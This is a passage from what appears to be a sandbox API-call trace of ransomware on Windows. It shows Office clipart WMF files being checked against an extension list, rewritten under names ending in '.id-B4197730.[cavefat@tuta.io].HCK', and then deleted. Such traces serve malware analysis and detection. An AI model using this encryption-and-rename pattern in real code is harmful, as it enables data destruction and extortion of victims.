(lpString1=".dbf", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".1cd") returned 4 [0241.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".jpg") returned 4 [0241.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".doc") returned 4 [0241.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".docx") returned 5 [0241.994] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.994] lstrlenW (lpString=".pdf") returned 4 [0241.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".xls") returned 4 [0241.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.994] lstrlenW (lpString=".xlsx") returned 5 [0241.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.994] lstrlenW (lpString=".ppt") returned 4 [0241.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".zip") returned 4 [0241.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.994] lstrlenW (lpString=".rar") returned 4 [0241.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".bz2") returned 4 [0241.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".7z") returned 3 [0241.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".dbf") returned 4 [0241.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.995] lstrlenW (lpString=".1cd") returned 4 [0241.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.995] lstrlenW (lpString=".jpg") returned 4 [0241.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.995] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.995] lstrlenW (lpString="J0185796.WMF") returned 12 [0241.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.996] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=25868) returned 1 [0241.996] CloseHandle (hObject=0x544) returned 1 [0241.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 0x220 [0241.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.997] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.997] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0241.997] GetLastError () returned 0x0 [0241.998] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x650c, lpOverlapped=0x0) returned 1 [0241.999] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x6510, lpOverlapped=0x0) returned 1 [0242.000] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.000] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.000] SetEndOfFile (hFile=0x4b0) returned 1 [0242.001] CloseHandle (hObject=0x4b0) returned 1 [0242.001] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.001] SetEndOfFile (hFile=0x544) returned 1 [0242.009] CloseHandle (hObject=0x544) returned 1 [0242.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0242.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.010] lstrlenW (lpString=".doc") returned 4 [0242.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.010] lstrlenW (lpString=".docx") returned 5 [0242.010] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.010] lstrlenW (lpString=".pdf") returned 4 [0242.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.010] lstrlenW (lpString=".xls") returned 4 [0242.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.010] lstrlenW (lpString=".xlsx") returned 5 [0242.010] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.010] lstrlenW (lpString=".ppt") returned 4 [0242.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.010] lstrlenW (lpString=".zip") returned 4 [0242.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.010] lstrlenW (lpString=".rar") returned 4 [0242.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.010] lstrlenW (lpString=".bz2") returned 4 [0242.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString=".7z") returned 3 [0242.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".dbf") returned 4 [0242.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".1cd") returned 4 [0242.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".jpg") returned 4 [0242.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".doc") returned 4 [0242.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString=".docx") returned 5 [0242.011] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.011] lstrlenW (lpString=".pdf") returned 4 [0242.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString=".xls") returned 4 [0242.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.011] lstrlenW (lpString=".xlsx") returned 5 [0242.011] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.011] lstrlenW (lpString=".ppt") returned 4 [0242.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".zip") returned 4 [0242.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.011] lstrlenW (lpString=".rar") returned 4 [0242.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString=".bz2") returned 4 [0242.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString=".7z") returned 3 [0242.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".dbf") returned 4 [0242.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".1cd") returned 4 [0242.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68 [0242.011] lstrlenW (lpString=".jpg") returned 4 [0242.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.011] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.012] lstrlenW (lpString="J0185798.WMF") returned 12 [0242.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.022] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=33824) returned 1 [0242.022] CloseHandle (hObject=0x544) returned 1 [0242.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 0x220 [0242.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.023] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.023] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.024] GetLastError () returned 0x0 [0242.024] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x8420, lpOverlapped=0x0) returned 1 [0242.035] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x8430, lpOverlapped=0x0) returned 1 [0242.036] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.036] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.036] SetEndOfFile (hFile=0x340) returned 1 [0242.036] CloseHandle (hObject=0x340) returned 1 [0242.037] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.037] SetEndOfFile (hFile=0x544) returned 1 [0242.039] CloseHandle (hObject=0x544) returned 1 [0242.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString=".doc") returned 4 [0242.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString=".docx") returned 5 [0242.173] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0242.173] lstrlenW (lpString=".pdf") returned 4 [0242.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString=".xls") returned 4 [0242.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.173] lstrlenW (lpString=".xlsx") returned 5 [0242.173] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0242.173] lstrlenW (lpString=".ppt") returned 4 [0242.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString=".zip") returned 4 [0242.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.173] lstrlenW (lpString=".rar") returned 4 [0242.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString=".bz2") returned 4 [0242.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString=".7z") returned 3 [0242.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString=".dbf") returned 4 [0242.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString=".1cd") returned 4 [0242.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.173] lstrlenW (lpString=".jpg") returned 4 [0242.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString=".doc") returned 4 [0242.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString=".docx") returned 5 [0242.174] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0242.174] lstrlenW (lpString=".pdf") returned 4 [0242.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString=".xls") returned 4 [0242.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.174] lstrlenW (lpString=".xlsx") returned 5 [0242.174] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0242.174] lstrlenW (lpString=".ppt") returned 4 [0242.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString=".zip") returned 4 [0242.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.174] lstrlenW (lpString=".rar") returned 4 [0242.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString=".bz2") returned 4 [0242.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString=".7z") returned 3 [0242.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString=".dbf") returned 4 [0242.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString=".1cd") returned 4 [0242.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF") returned 68 [0242.174] lstrlenW (lpString=".jpg") returned 4 [0242.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.174] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.174] lstrlenW (lpString="J0185800.WMF") returned 12 [0242.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0242.223] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=24238) returned 1 [0242.223] CloseHandle (hObject=0x4bc) returned 1 [0242.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 0x220 [0242.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.763] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.763] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.764] GetLastError () returned 0x0 [0242.764] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5eae, lpOverlapped=0x0) returned 1 [0242.766] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5eb0, lpOverlapped=0x0) returned 1 [0242.767] ReadFile (in: hFile=0x558, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.767] WriteFile (in: hFile=0x340, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.767] SetEndOfFile (hFile=0x340) returned 1 [0242.767] CloseHandle (hObject=0x340) returned 1 [0242.767] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.767] SetEndOfFile (hFile=0x558) returned 1 [0242.770] CloseHandle (hObject=0x558) returned 1 [0242.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString=".doc") returned 4 [0242.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString=".docx") returned 5 [0242.771] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0242.771] lstrlenW (lpString=".pdf") returned 4 [0242.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString=".xls") returned 4 [0242.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.771] lstrlenW (lpString=".xlsx") returned 5 [0242.771] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0242.771] lstrlenW (lpString=".ppt") returned 4 [0242.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString=".zip") returned 4 [0242.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.771] lstrlenW (lpString=".rar") returned 4 [0242.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString=".bz2") returned 4 [0242.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString=".7z") returned 3 [0242.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString=".dbf") returned 4 [0242.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString=".1cd") returned 4 [0242.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.771] lstrlenW (lpString=".jpg") returned 4 [0242.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0242.772] 